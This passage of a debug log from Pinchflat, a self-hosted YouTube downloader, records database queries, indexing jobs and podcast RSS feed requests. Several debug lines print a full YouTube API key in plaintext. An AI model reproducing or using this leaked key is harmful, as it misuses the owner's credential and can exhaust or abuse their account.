s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:39.965 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:40.096 [debug] QUERY OK source="media_items" db=0.6ms idle=130.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 16:26:40.097 [debug] QUERY OK source="media_items" db=0.4ms idle=131.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:26:40.098 [debug] QUERY OK source="tasks" db=0.1ms idle=132.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799972, 20, ~U[2026-02-10 22:26:40Z], ~U[2026-02-10 22:26:40Z]] 16:26:40.098 [info] {"args":{"id":20},"id":3799933,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133659,"event":"job:stop","queue_time":463078,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:45.909 [info] GET /sources/3914eb9d-4fe0-471d-87d8-8684d6d44aa1/feed.xml 16:26:45.909 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "3914eb9d-4fe0-471d-87d8-8684d6d44aa1"} Pipelines: [:maybe_basic_auth] 16:26:45.909 [debug] QUERY OK source="sources" db=0.2ms idle=945.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["3914eb9d-4fe0-471d-87d8-8684d6d44aa1"] 16:26:45.910 [debug] QUERY OK source="media_items" db=0.1ms idle=31.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [42, 2000] 16:26:45.910 [debug] QUERY OK source="source_metadata" db=0.0ms idle=32.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [42] 16:26:45.910 [debug] QUERY OK source="media_metadata" db=0.0ms idle=32.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563485] 16:26:45.910 [info] Sent 200 in 1ms 16:26:54.252 [info] GET /sources/23662757-adf4-4a33-adf1-b92fb2169582/feed.xml 16:26:54.252 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "23662757-adf4-4a33-adf1-b92fb2169582"} Pipelines: [:maybe_basic_auth] 16:26:54.253 [debug] QUERY OK source="sources" db=0.2ms idle=374.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["23662757-adf4-4a33-adf1-b92fb2169582"] 16:26:54.260 [debug] QUERY OK source="media_items" db=6.7ms idle=375.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [37, 2000] 16:26:54.281 [debug] QUERY OK source="source_metadata" db=0.1ms idle=403.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [37] 16:26:54.282 [debug] QUERY OK source="media_metadata" db=0.0ms idle=403.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564182] 16:26:54.283 [info] Sent 200 in 30ms 16:26:58.171 [info] {"source":"oban","duration":10742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.017 [info] {"source":"oban","duration":123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:27:03.990 [info] {"args":{"id":42},"id":3799934,"meta":{},"system_time":1770762423990781607,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:03.991 [info] {"args":{"id":15},"id":3799935,"meta":{},"system_time":1770762423990833533,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:03.991 [debug] QUERY OK source="sources" db=0.2ms idle=112.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:27:03.991 [debug] QUERY OK source="settings" db=0.1ms idle=113.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.991 [debug] QUERY OK source="sources" db=0.4ms idle=112.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:27:03.991 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.992 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:03.992 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.992 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:27:03.992 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.992 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:03.992 [debug] QUERY OK source="media_profiles" db=1.0ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:03.992 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.992 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:27:03.993 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:03.993 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:04.095 [debug] QUERY OK source="media_items" db=0.7ms idle=102.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 16:27:04.096 [debug] QUERY OK source="media_items" db=0.3ms idle=103.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:27:04.097 [debug] QUERY OK source="tasks" db=0.1ms idle=104.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799973, 15, ~U[2026-02-10 22:27:04Z], ~U[2026-02-10 22:27:04Z]] 16:27:04.097 [info] {"args":{"id":15},"id":3799935,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":106692,"event":"job:stop","queue_time":507022,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:04.103 [info] {"args":{"id":13},"id":3799936,"meta":{},"system_time":1770762424103712934,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:04.103 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:27:04.104 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.104 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:04.104 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.104 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:27:04.104 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.104 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:04.147 [debug] QUERY OK source="media_items" db=0.1ms idle=43.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:27:04.148 [debug] QUERY OK source="media_items" db=0.1ms idle=43.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:27:04.148 [debug] QUERY OK source="tasks" db=0.1ms idle=44.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799974, 42, ~U[2026-02-10 22:27:04Z], ~U[2026-02-10 22:27:04Z]] 16:27:04.149 [info] {"args":{"id":42},"id":3799934,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":158153,"event":"job:stop","queue_time":528653,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:04.155 [info] {"args":{"id":22},"id":3799937,"meta":{},"system_time":1770762424155697500,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:04.155 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:27:04.156 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.156 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:04.156 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.156 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:27:04.156 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:04.156 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:04.235 [debug] QUERY 